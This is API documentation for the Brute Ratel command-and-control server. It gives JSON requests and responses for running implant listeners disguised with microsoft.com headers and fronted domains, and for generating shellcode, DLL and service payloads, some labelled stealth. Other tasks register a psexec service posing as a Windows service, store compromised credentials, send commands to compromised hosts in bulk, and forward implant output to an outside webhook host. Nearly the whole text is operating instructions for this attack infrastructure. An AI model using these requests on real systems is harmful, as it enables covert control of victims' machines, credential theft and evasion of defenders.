22 KiB
api-ratel-war-room
Brute Ratel Documentation Last Updated: Monday 16 January 2023 Ratel Server Ratel server responses have some parameters which are common across all responses. These are: access, status and task. The access key specifies whether the current user’s access token is valid. The status key specifies the execution success status of the request. If the request was not executed either due to incorrect value or any other environmental reasons, the return value will be false, else true. The task key specifies the response is from which requested task. This can be helpful when querying multiple requests for parsing the appropriate response. Some requests will have the response under task id 24. This just means the response is a broadcast message which will be delivered to all connected users. Login (HTTP) – No Task ID Description HTTP Post request is required to get a token. This token should be used in a Websocket request for handler interaction. Task ID is not required. Parameters user Username pass Password Request { "creds": { "pass": "admin", "user": "admin" } } Response { "access": true, "is_admin": true, "status": true, "token": "5T7D3F8UCVOIAN2UE6AVCNLV8BHSFCT1" } Task 0: Authorization (Websocket) Description Validates authorization of cookie over a websocket session. Returns detailed server information. Parameters task: 0 user: Username token: Token received from login Request { "creds": { "token": "5T7D3F8UCVOIAN2UE6AVCNLV8BHSFCT1", "user": "admin" }, "task": 0 } Response Large blob of server metadata containing server version, user details, commands available. The output is non-essential for automation purpose.
Task 1: Logout (Websocket) Description Logs out existing user and disables user cookie Parameters task 1 Request { "task": 1 } Response { "access": false, "status": true, "task": 1, } Task 2: Create User (Websocket) Description Creates a new non-admin user Parameters task 2 user Username of new user pass Password of new user Request { "create": { "pass": "ratel", "user": "ratel" }, "task": 2 } Response { "access": true, "status": true, "task": 24, "users": { "active": { "admin": "02-06-2022 17:36:18" }, "inactive": { } } }
Task 3: Delete User (Websocket) Description Deletes an existing user with all of user’s cookies and .permissions Parameters task 3 delete Username to delete Request { "delete": "ratel", "task": 3 } Response { "access": true, "status": true, "task": 24, "users": { "active": { "admin": "07-05-2020 08:44:33" }, "inactive": { } } } Task 4: Reset User Password (Websocket) Description Resets a users password Parameters task 4 user Username to reset pass New password for user Request { "k_user": { "pass": "newpass", "user": "ratel" }, "task": 4 } Response { "access": true, "status": true, "task": 24, "users": { "active": { "admin": "07-05-2020 08:44:33" }, "inactive": { "ratel": "07-05-2020 09:07:33" } } }
Task 5: List User (Websocket) Description Lists all users Parameters task 5 Request { "task": 5 } Response { "access": true, "status": true, "task": 5, "users": { "active": { "admin": "07-05-2020 09:17:44" }, "inactive": {} } } Task 6: Create Listener (HTTP/DNS) (Websocket)
Description Creates different types of listener Parameters task 6 append This field contains the value to append the badger’s pos request in a malleable profile prepend This field contains the value to prepend the badger’s pos request in a malleable profile auth_count This field indicates the number of passwords to be set auth_type This field can be true or false. It indicates if auth is One Time Auth or Regular c2_authkeys This field can contain on or more set of listener keys. Badger authenticates to this key. If is_random field is true, this field is set automatically. If auth_count is more than one and is_random is set, this field is set automatically c2_uri List of URIs that badger will connect back to die_offline This field can be true or false. If the value is true, it means the badger should die if it is unable to connect to the C2, else vice versa. extra_headers This field contains a key value pair of header names and their values. host Network interface IP which will be binded for listening is_random If this field is true, c2_authkeys is set automatically listener_name Name of the listener os_type Type of payload: Current limited to windows port Port to listen on rotational_host This field can contain a list of IP/Domain/Redirector domain/Fronted domain seperated by commas useragent The useragent for the payload ssl True or false Request Random key for { Regular auth "listener": { "listener_name": "json-c2", "append": ""}", "append_response": ""}", "auth_count": 1, "auth_type": false, "c2_authkeys": [ "abcd@123" ], "c2_uri": [ "en/ec2/pricing/", "?locale=en" ], "die_offline": false, "empty_response": "{"Info":"Ok"}", "request_headers": { "content-type": "application/json", "referrer": "microsoft.com",
"Host": "microsoft.com" }, "response_headers": { "Server": "Apache/2.2.14 (Win32)", "X-Backend-Server": "developer2.webapp.scl3.mozilla.com", "X-Cache-Info": "not cacheable; meta data too large" }, "host": "172.16.219.1", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{"channel":"", "prepend_response": "{"Output":"", "rotational_host": "172.16.219.1", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", "sleep": 2, "jitter": 0, "obfsleep": "Pooling-0" }, "task": 6 } Custom key for { One Time Auth "listener": { "append": ""}", "auth_count": 0, "auth_type": true, "c2_authkeys": [ "abcd@123" ], "c2_uri": [ "test", "login", "bootstrap" ], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": false, "listener_name": "auto-869804a3", "os_type": "windows", "port": "443", "prepend": "{"sample_json":"", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" }, "task": 6 }
Multiple random { keys for One Time "listener": { Auth "append": ""}", "auth_count": 6, "auth_type": true, "c2_authkeys": [], "c2_uri": [ "test", "login", "bootstrap" ], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": true, "listener_name": "auto-869804a3", "os_type": "windows", "port": "443", "prepend": "{"sample_json":"", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" }, "task": 6 } Response { "access": true, "listeners": { "auto-869804a3": { "append": ""}", "auth_count": 1, "auth_type": false, "c2_authkeys": [ "JKVM34MH5KB0LMQE" ], "c2_uri": [ "test", "login", "bootstrap" ], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{"sample_json":"", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true,
"useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" } }, "status": true, "task": 24 } Task 7: Stop Listener (Websocket) Description Stop a running listener with the listener name Parameters task 7 listener Name of the listener to stop Request { "listener": "auto-869804a3", "task": 7 } Response { "access": true, "status": true, "task": 7 }
Task 8: List Listener (Websocket) Description Lists running listeners Parameters task 8 Request { "task": 8 } Response { "access": true, "listeners": { "auto-869804a3": { "append": ""}", "auth_count": 1, "auth_type": false, "c2_authkeys": [ "JKVM34MH5KB0LMQE" ], "c2_uri": [ "test", "login", "bootstrap" ], "die_offline": true, "extra_headers": { "content-type": "application/json", "referrer": "microsoft.com" }, "host": "10.0.0.218", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{"sample_json":"", "rotational_host": "do.skype.com,msvcrl.microsoft.com", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" } }, "status": true, "task": 8 }
Task 9: Host File On Listener (Websocket) Description Host a new file on the server Parameters task 9 buffer Base64 encoded content of file to host listener_name Listener to modify mime_type Custom mime-type for hosted file uri URI to add (name of the file/uri which will be accessed) Request Host a file to server { "listener_uri": { "buffer": "SGVsbG8gd29ybGQK", "listener_name": "auto-869804a3", "mime_type": "text/plain", "uri": "test.txt" }, "task": 9 } Response { "access": true, "listeners": { "auto-869804a3": { "append": ""}", "auth_count": 1, "auth_type": false, "c2_authkeys": [ "abcd@123" ], "c2_uri": [ "en/ec2/pricing/", "?locale=en" ], "die_offline": false, "extra_headers": { "content-type": "application/json" }, "host": "172.16.219.1", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{"channel":"", "rotational_host": "172.16.219.1", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" } }, "status": true, "task": 24 }
Task 10: Stop Hosted File On Listener (Websocket) Description Host a file on a new URI Parameters task 10 c2_uri Listener name and URI path to remove seperated by a slash Request { "hosted": "auto-869804a3/test.txt" "task": 10 } Response { "access": true, "hosted": { }, "status": true, "task": 10 } Task 11: List Hosted Files On Listener (Websocket) Description Show hosted files Parameters task 11 Request { "task": 11 } Response { "access": true, "hosted": { "auto-869804a3/test.txt": "text/plain" }, "status": true, "task": 11 }
Task 13: PsExec Configuration (Websocket) Description Show or manage PsExec configuration Parameters task 13 type This field can contain ‘psexec_config’ or ‘update’ depending on what task is being performed svc_desc Name of the description for the service when building the service for the ‘psexec’ command svc_name Name of the service to build when using the ‘psexec’ command Request View psexec { configuration "task": 13, "type": "psexec_config" } Configure { psexec "svc_desc": "test description for psexec badger service", "svc_name": "Badger Service", "task": 13, "type": "update" } Response View Response { "access": true, "psexec_config": { "svc_desc": "Manages universal application core process that in Windows 8 and continues in Windows 10. It is used to determine whether universal apps installed from the Windows Store are declaring all of their permissions, like being able to access your telemetry, location or microphone. It helps to transact records of your universal apps with the trust and privacy settings of user.", "svc_name": "TransactionBrokerService" }, "status": true, "task": 13, "type": "psexec_config" } Modify PsExec { "access": true, "status": true, "task": 13, "type": "update" }
Task 14: Manage Compromised Credentials (Websocket) Description Add or remove credentials Parameters task 14 crednote Credentials notes credpass Password credsrc Source of credentials creduser Username Request Add Credentials { "add_creds": { "crednote": "some notes", "credpass": "P@ssw0rd", "credsrc": "some text file", "creduser": "brute" }, "task": 14 } Remove Credentials { "del_creds": { "crednote": "from host xyz", "credpass": "pass123", "credsrc": "mimikatz", "creduser": "ninja" }, "task": 14 } Response Add Credentials { "access": true, "credentials": [ { "crednote": "some notes", "credpass": "P@ssw0rd", "credsrc": "some text file", "creduser": "brute" } ], "status": true, "task": 24 } Remove Credentials { "access": true, "credentials": [ ], "status": true, "task": 24 }
Task 15: List Compromised Credentials (Websocket) Description List all compromised credentials Parameters task 15 Request { "task": 15 } Response { "access": true, "credentials": [ { "crednote": "some notes", "credpass": "P@ssw0rd", "credsrc": "some text file", "creduser": "brute" } ], "status": true, "task": 15 } Task 16: List All Badgers (Websocket) Description List all connected badgers Parameters task 16 Request { "task": 16 } Response { "access": true, "badgers": { "b-0": { "b_arch": "x64", "b_bld": "18363", "b_c2": "https://172.16.219.1:443", "b_c2_id": "auto-869804a3", "b_cookie": "VUHMA3QT10CBCK815D6KQ0VMGBRBE3R0", "b_h_name": "DESKTOP-G15FRLS", "b_l_ip": "172.16.219.1", "b_p_name": "Z:\documents\badger_x64.exe", "b_pid": "9144", "b_seen": "02-06-2022 19:31:28", "b_uid": "vendetta", "b_wver": "x64/10.0", "dead": false, "is_pvt": false, "pipeline": "Direct", "pvt_master": "" } }, "status": true, "task": 16 }
Task 17: Send Badger Command (Websocket) Description Send a command to badger Parameters task 17 badger Badger id cmd Command to send (All arguments are seperated by a space. Local PE files (C#/powershell) are sent as base64 encoded buffers Request { "bgr_cmd": { "badger": "b-0", "cmd": "pwd" }, "task": 17 } Response { "access": true, "status": true, "task": 17 } Task 18: Send Bulk Badger Query (Websocket) Description Send command to all badgers connected to a specific listener Parameters task 18 cmd Command which will be sent to all the badgers in a listener listener Name of the listener to query in bulk Request { "blkconfig": { "cmd": "pwd", "listener": "json-c2" }, "task": 18 } Response { "access": true, "badger_count": "4", "status": true, "task": 18 }
Task 19: List Command Queue (Websocket) Description List queued commands for badgers Parameters task 19 Request { "task": 19 } Response { "b-0": [ "pwd", "pwd" ], "b-1": [ "pwd" ], "b-2": [ "pwd" ], "b-3": [ "pwd" ] } Task 20: Clear Badger Queue (Websocket) Description Clear all queued commands for a badger Parameters task 20 badger Badger id Request { "bgr_rst": { "badger": "b-0" }, "task": 20 } Response { "access": true, "status": true, "task": 20 }
Task 21: Change Listener Password (Websocket) Description Change Listener Password Parameters task 21 listener Listener whose password is to be changed pass New password. This can be a list of comma seperated values, if multiple one time passwords need to be added. Request { "set": { "listener": "primary-c2", "pass": [ "abcd@123" ] }, "task": 21 } Response { "access": true, "status": true, "task": 21 } Task 22: List Server Configuration (Websocket) Description List configuration for the whole server. This can be used to create a new C2 profile while starting the ratel server Parameters task 22 Request { "task": 22 } Response A large blob of full server metadata
Task 30: Create/Modify Payload Profile (Websocket) Description The default task is to create a payload profile. If a profile already exists under the same name, then it is overwritten with the updated profile Parameters task 30 payload_config Contains a key value pair of new payload profiles to add, key being the name of the profile, and value containing another json object append This field contains the value to append the badger’s pos request in a malleable profile c2_auth This field contain the authentication key required to connect to the listener c2_uri List of URIs that badger will connect back to die_offline This field can be true or false. If the value is true, it means the badger should die if it is unable to connect to the C2, else vice versa. extra_headers This field contains a key value pair of header names and their values. host This field can contain a list of IP/Domain/Redirector domain/Fronted domain seperated by commas. For a TCP payload, this can be a single IP or multiple IP addresses. port Port to listen on prepend This field contains the value to prepend the badger’s pos request in a malleable profile ssl True or false type Type can be HTTP, SMB or TCP depending on the type of profile being added useragent The useragent for the payload smb_pipe Name of the SMB pipe (only for SMB payloads) show Should be false unless GUI is being used Request Add/Modify HTTP { profile "payload_config": { "test-profile": { "append": ""}", "append_response": ""}", "auth_count": 1, "auth_type": false, "c2_authkeys": [ "abcd@123" ], "c2_uri": [ "en/ec2/pricing/", "?locale=en" ], "die_offline": false, "empty_response": "{"Info":"Ok"}", "request_headers": { "content-type": "application/json", "referrer": "microsoft.com", "Host": "microsoft.com" },
"response_headers": { "Server": "Apache/2.2.14 (Win32)", "X-Backend-Server": "developer2.webapp.scl3.mozilla.com", "X-Cache-Info": "not cacheable; meta data too large" }, "host": "172.16.219.1", "is_random": true, "os_type": "windows", "port": "443", "prepend": "{"channel":"", "prepend_response": "{"Output":"", "rotational_host": "172.16.219.1", "ssl": true, "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36", "sleep": 2, "jitter": 0, "obfsleep": "Pooling-0" } }, "show": true, "task": 30 } Add/Modify SMB { Profile "payload_config": { "main_smb2": { "c2_auth": "abcd@123", "smb_pipe": "\\.\pipe\mynamedpipe", "type": "SMB", "obfsleep": "Pooling-0" } }, "show": true, "task": 30 } Add/Modify TCP { Profile "payload_config": { "main_tcp2": { "c2_auth": "abcd@123", "host": "127.0.0.1", "port": "10000", "type": "TCP", "obfsleep": "Pooling-0" } }, "show": true, "task": 30 } Response Json response containing the profile which was successfully added
Task 31: View Payload Configuration (Websocket) Description View all payload profiles Parameters task 31 edit This field should be false if a profile is being view. If an existing profile is being added, this will be true and the same information sent in Task 30 can be sent over here. Request { "edit": false, "task": 31 } Response { "access": true, "edit": false, "payload_config": { "auto-869804a3": { "append": ""}", "c2_auth": "abcd@123", "c2_uri": [ "en/ec2/pricing/", "?locale=en" ], "die_offline": false, "extra_headers": { "content-type": "application/json" }, "host": "172.16.219.1", "port": "443", "prepend": "{"channel":"", "ssl": true, "type": "HTTP", "useragent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36" }, "main_smb": { "c2_auth": "abcd@123", "smb_pipe": "\\.\pipe\mynamedpipe", "type": "SMB" }, "main_tcp": { "c2_auth": "abcd@123", "host": "127.0.0.1", "port": "10000", "type": "TCP" } }, "status": true, "task": 31 }
Task 32: Delete Payload Profile (Websocket) Description Deletes an existing payload profile Parameters task 32 payload_config Name of the payload profile Request { "payload_config": "test-profile", "task": 32 } Response Remaining json profiles or an empty json profile if no more profiles exist Task 36: Generate Payload (Websocket) Description Build a tcp/smb/http/dns payload Parameters task 36 payload_arch This field contains 0 or 1. 0 means arch type x86, whereas 1 means x64 payload_config_name The name of the config on the server from which the payload needs to be generated payload_type The payload types be the following: 0: ret shellcode 1: rtl shellcode 2: wait shellcode 4: dll 5: service exe 7: stealth ret 8. stealth rtl 9. stealth wait 10. stealth service exe The response will be base64 encoded save_path The local path where the payload needs to be saved svc_desc The service description (optional and only valid for service payload_type) svc_name The service name (optional and only valid for service payload_type) Request { "payload_arch": 1, "payload_config_name": "auto-json-c2", "payload_type": 0, "save_path": "/home/paranoidninja/Documents/badger_x64_ret.bin", "svc_desc": "NA", "svc_name": "NA", "task": 36 } Response { "access": true, "payload_dat": "TVqQAAMAAAAEAAAA", "ptype": 2, "save_path": "/home/paranoidninja/Documents/badger_x64_ret.bin", "status": true, "task": 36 }
Task 40: Enable Staging on HTTP Listener (Websocket) Description Enable HTTP Staging Parameters task 40 build false listener_name Json-c2 (name of the listener) Request { "task": 40, "build": false, "listener_name": "json-c2" } Response Returns staging listener name and payload configuration of the stage enabled Task 41: Disable Staging on HTTP Listener (Websocket) Description Disable HTTP Staging Parameters task 41 remove true listener_name Json-c2 (name of the listener) Request { "task": 41, "listener_name": "json-c2", "remove": true } Response { "access": true, "listener_name": "json-c2", "remove": true, "status": true, "task": 41 }
Task 45: Manage WebHooks (Websocket) Description Start or stop a configured webhook. Webhooks can be used to forward badger output (either just the initial access or fully detailed outputs to remote servers, where automation can be performed by parsing found strings in the output) Parameters task 45 webhook Contains a key value pair of the settings for webhook to be configured badger_init If this is true, the initial connection of badger and badger’s metadata will be forwarded to the user’s server badger_log If this is true, all of badger’s output will be forwarded to the user’s server listener The name of the listener on which the webhook needs to be enabled start This field specified whether the webhook needs to be started or stopped webhook_host The host on which the logs/metadata of the badger needs to be forwarded Request Enable webhook { "task": 45, "webhook": { "badger_init": true, "badger_log": true, "listener": "json-c2", "start": true, "webhook_host": "https://evasionlabs.com" } } Disable webhook { "task": 45, "webhook": { "listener": "json-c2", "stop": true } } Response Enable webhook { "access": true, "listener": "json-c2", "status": true, "task": 45 } Disable webhook { "access": true, "status": true, "task": 45 }
Task 46: Switch Badger Profile (Websocket) Description Change badger’s malleable profile. Make note the badger needs to exist for this to work Parameters task 46 profile Payload profile name bgrlist An array of badgers whose profile needs to be changed Request { "task": 46, "profile": "auto-json-c2", "bgrlist": [ "b-0", "b-1" ] } Response { "access":true, "status":true, "task":46 } Task 58: Add Note To Badger (Websocket) Description Add note against a badger Parameters task 58 badger The badger ID (b-0) note The note to be added Request { "task": 58, "badger": "b-0", "note": "sample note for badger zero" } Response { "access":true, "status":true, "task":58 }